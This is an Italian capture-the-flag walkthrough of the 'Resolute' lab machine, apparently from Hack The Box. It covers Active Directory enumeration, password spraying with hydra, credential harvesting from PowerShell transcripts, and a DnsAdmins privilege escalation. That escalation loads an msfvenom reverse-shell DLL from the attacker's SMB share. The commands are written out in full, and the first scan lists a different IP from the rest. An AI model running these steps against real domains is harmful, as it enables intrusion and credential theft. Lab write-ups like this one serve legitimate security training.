NMAP

Eseguo una scansione nmap di tutte le porte con il seguente comando:

nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.172

scansione Nmap

Successivamente lancio una scansione mirata come segue:

nmap -T5 --open -sV -sC -vvv --min-rate=1000 --max-retries=2 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49164,4965,49666,49667,49671,49676,49677,49687,49908 -oA full-ports 10.10.10.169

Ometterò il risultato di questa scansione nmap per consentire una migliore lettura. Dai risultati della scansione risulta essere attivo il servizio kerberos, si tratta quindi di un domain controller.

USER FLAG

Poiché sono attivi servizi ldap, smb, rpc, con l’ausilio di enum4linux è possibile, in questo caso, enumerare alcune informazioni utili relative agli utenti e ai gruppi presenti sulla macchina senza necessità di immettere delle credenziali. Di seguito è riportato un estratto:

enum4linux

Come si vede dall’immagine, nella descrizione dell’utente Marko Novak è presente la password di accesso Welcome123!. Provando ad accedere ai servizi smb e ldap con le credenziali appena scovate purtroppo ricevo un messaggio di errore che mi nega l’accesso. È possibile che la descrizione sia vecchia e l’utente abbia cambiato la password. Per questo motivo decido di testare la password anche con gli altri nome utente trovati, magari è una password che l’admin utilizza durante la creazione di tutti i nuovi account.

hydra -L users.txt -P ‘Welcome123!’ smb://10.10.10.169 -V

hydra

L’intuizione è corretta e riesco a identificare con successo le nuove credenziali melanie:Welcome123! A questo punto mi collego alla box utilizzando evil-winrm.

evil-winrm -i 10.10.10.169 -s ps1 -e exe -p Welcome123! -u melanie

user flag

PRIVILEGE ESCALATION 1

Dopo aver enumerato senza successo gli ACL dell’utente melanie inizio a cercare file e cartelle interessanti all’interno della macchina.

dir -Force

directory listing di file nascosti

Il flag -Force su powershell permette di visualizzare anche i file nascosti.

La cartella PSTranscript attira la mia attenzione, decido di dare un’occhiata:

directory listing di file nascosti

All’interno del file .txt è presente lo storico di alcuni comandi powershell che sono stati lanciati sulla macchina, in alcuni comandi sono presenti anche delle credenziali nuove ryan:Serv3r4Admin4cc123!:

credenziali all’interno del file

ROOT FLAG

Accedo con le nuove credenziali sempre con l’ausilio di evil-winrm ed enumero un po’ l’utenza corrente:

whoami /all

whoami

Quello che attira la mia attenzione è che l’utente in questione fa parte del gruppo “DnsAdmins”.

Facendo parte del gruppo DnsAdmins si ha la possibilità di caricare una DLL con privilegi elevati all’interno del server DNS.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.103 LPORT=80 –platform=windows -f dll > ./plugin.dll

A questo punto ho condiviso uno share sulla mia macchina kali in modo da poter caricare la dll sulla box resolute.

smbserver.py fava . -smb2support

smb server

Successivamente è bastato caricare la DLL contenente la reverse shell in questo modo:

dnscmd.exe resolute.megabank.local /config /serverlevelplugindll \\10.10.14.103\plugin.dll

caricamento dll

E infine riavviare il server DNS per ottenere la shell.

sc.exe resolute.megabank.local stop dns
sc.exe resolute.megabank.local start dns

root flag